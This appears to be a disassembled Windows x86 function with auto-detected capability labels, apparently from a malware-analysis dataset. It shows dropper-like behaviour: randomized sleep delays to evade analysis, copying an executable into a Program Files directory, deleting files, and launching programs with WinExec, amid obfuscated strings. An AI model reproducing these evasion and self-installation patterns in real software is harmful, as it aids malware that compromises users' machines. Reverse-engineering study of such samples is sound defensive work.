Function at 0x401000
Capabilities:
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Delete file

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str._bEoIP9_l_He_o_C_rY_.f7Ebv77ewx4__M0Wq_E.JbtFD6AaS__6QgHMR7lv.4_Mbm___ACo_cjgKpOIRY2
call fcn.00421a83
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.OqaCeWOTaQ_G_hF0qnL9__5fwBvd_m.o_XoNx__eI__i:E.oRzPmBO8GAB_on_g_d9E_XLxn_zT_q_l__M_G9_Qj_q_kQx3ph_XxV_6r70BVJ_E__z9htXh_GbEFh_5CbvOBVVb:vxq_O_X_SbDNa_xzWuur
call fcn.00421a83
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
je 0x401047
push str.LQ0RIwqAyDKlaao_7g3uczvcxZ5EldW_tbk74do5ekQfmv_Tuiafdlo6_p_9cBuX2l__LC8CuuLNQXr1
push 0x4352f4
call fcn.00414aa3
add esp, 8
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.trffddfre4FR
call fcn.00421a83
lea eax, [esp + 0x10]
push eax
call fcn.00401e70
mov ecx, dword [eax]
add esp, 8
push ecx
push 0x4352f4
call fcn.00414aa3
add esp, 8
lea ecx, [esp + 0xc]
call fcn.00421a15
push ecx
mov edx, esp
mov dword [esp + 0x28], esp
push str..exe
push 0x43992c
push edx
call fcn.00421c5e
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
push eax
call fcn.00401b50
add esp, 4
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
je 0x401174
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x1d4c0
call esi
lea ecx, [esp + 0xc]
push ecx
call fcn.00401c00
mov eax, dword [eax]
add esp, 4
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea ecx, [esp + 0xc]
call fcn.00421a15
call fcn.00401da0
cmp al, 1
je 0x4010fd
push 0xea60
call esi
call fcn.00401da0
cmp al, 1
jne 0x4010ed
push str..exe
push 0x439918
lea edx, [esp + 0x20]
push 0x4352d8
push edx
call fcn.00401c00
add esp, 4
push eax
lea eax, [esp + 0x24]
push eax
call fcn.00421c5e
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00421bf8
lea edx, [esp + 0x10]
push eax
push edx
call fcn.00421c5e
mov eax, dword [eax]
push 0xa
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0xc]
call fcn.00421a15
lea ecx, [esp + 0x10]
call fcn.00421a15
lea ecx, [esp + 0x14]
call fcn.00421a15
lea ecx, [esp + 0x18]
call fcn.00421a15
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x20
ret 0x10
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push str.Program_File
call fcn.00421a83
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push ecx
call fcn.00401b50
add esp, 4
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
je 0x4014d9
push 0x439930
mov ecx, 0x439910
call fcn.00421b02
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call esi
push eax
call fcn.00414a74
add esp, 4
call fcn.00414a81
cdq
mov ecx, 0x960
idiv ecx
add edx, 0x4b0
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 3
push edx
call edi
push str..exe
push 0x43992c
lea eax, [esp + 0x14]
push 0x4352d8
push eax
call fcn.00401c00
add esp, 4
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00421c5e
lea edx, [esp + 0x1c]
push eax
push edx
call fcn.00421bf8
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00421c5e
mov ecx, dword [eax]
push ecx
call ebx
lea ecx, [esp + 0x18]
call fcn.00421a15
lea ecx, [esp + 0x14]
call fcn.00421a15
lea ecx, [esp + 0x10]
call fcn.00421a15
lea ecx, [esp + 0xc]
call fcn.00421a15
mov eax, dword [0x439940]
push 0x439958
push eax
call fcn.004149c5
add esp, 8
test eax, eax
jne 0x4012c6
lea edx, [esp + 0x1c]
push edx
call fcn.00406b50
add esp, 4
mov ecx, 0x439940
push eax
call fcn.00421b02
lea ecx, [esp + 0x1c]
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push 0x439940
call fcn.004217a8
lea eax, [esp + 0x24]
push eax
call fcn.00401a20
mov ecx, dword [eax]
push 0x439958
push ecx
call fcn.004149c5
add esp, 0x10
lea ecx, [esp + 0x20]
call fcn.00421a15
lea edx, [esp + 0x24]
push edx
call fcn.004135c0
add esp, 4
lea ecx, [esp + 0x24]
call fcn.00421a15
mov eax, dword [0x439930]
mov ecx, dword [0x439910]
push eax
push ecx
call fcn.004149c5
add esp, 8
test eax, eax
je 0x4011c7
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push str._jHxP0Oq_01wu_4bKYI_yf
call fcn.00421a83
lea eax, [esp + 0x28]
push eax
call fcn.00401e70
add esp, 8
lea ecx, [esp + 0x24]
call fcn.00421a15
push str.enbW1dbfoLMognJ67MwU__n_5pv_r_V:f3u_7aOXZ
push 0x4352f4
call fcn.00414aa3
add esp, 8
push str.nOiXX_LXe.gkUltatqYWIXJa4uEGT__xaBPiY0_WKssuTH__jdBqrGBS_Gu
push 0x4352f4
call fcn.00414aa3
add esp, 8
lea ecx, [esp + 0x14]
push str..exe
push 0x43992c
push 0x4352d8
push ecx
call fcn.00401c00
add esp, 4
lea edx, [esp + 0x24]
push eax
push edx
call fcn.00421c5e
push eax
lea eax, [esp + 0x28]
push eax
call fcn.00421bf8
lea ecx, [esp + 0x24]
push eax
push ecx
call fcn.00421c5e
mov edi, dword [eax]
lea edx, [esp + 0x24]
push edx
call fcn.00401b50
mov eax, dword [eax]
add esp, 4
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea ecx, [esp + 0x24]
call fcn.00421a15
lea ecx, [esp + 0x20]
call fcn.00421a15
lea ecx, [esp + 0x1c]
call fcn.00421a15
lea ecx, [esp + 0x18]
call fcn.00421a15
lea ecx, [esp + 0x14]
call fcn.00421a15
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
push str..exe
push 0x43992c
push eax
call fcn.00421c5e
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push ecx
call fcn.00401b50
add esp, 4
call fcn.004019a0
add esp, 8
cmp eax, 0xffffffff
je 0x40143b
call esi
push eax
call fcn.00414a74
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.__fcywYjSJvX5JCrzXWzUQN___8PznqXRp_FJjRtMFfrV__DFQ_O__dAxbE0hUXe21JZ__g_Macw_YozW_XJud_No__kKu9_p_qFjhELQQ1PabgS.BoP508wyrZw_LBr_Y_bAC:v_
call fcn.00421a83
lea edx, [esp + 0x28]
push edx
call fcn.00401e70
mov eax, dword [eax]
add esp, 8
push eax
push 0x4352f4
call fcn.00414aa3
add esp, 8
lea ecx, [esp + 0x24]
call fcn.00421a15
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.5Qhs_dNG__wks_ghQI_lfarl2aEAx_EIchRfY_4iWqcxf_KWAQ___lgm6QR5jd26__2___iA83m9LGe_HVwS_C_Ph515xC.VVvh_DIs_q_j2u_f_5J_t__.__ToT_xjLlB_yJahw0VqCIwxpa4x_U_c3Co
call fcn.00421a83
lea ecx, [esp + 0x28]
push ecx
call fcn.00401e70
add esp, 8
lea ecx, [esp + 0x24]
call fcn.00421a15
call esi
push eax
call fcn.00414a74
add esp, 4
lea edx, [esp + 0x18]
push str..exe
push 0x43992c
push 0x4352d8
push edx
call fcn.00401c00
add esp, 4
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.00421c5e
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.00421bf8
lea edx, [esp + 0x28]
push eax
push edx
call fcn.00421c5e
mov eax, dword [eax]
push 0xa
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0x24]
call fcn.00421a15
lea ecx, [esp + 0x20]
call fcn.00421a15
lea ecx, [esp + 0x1c]
call fcn.00421a15
lea ecx, [esp + 0x18]
call fcn.00421a15
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret 0x10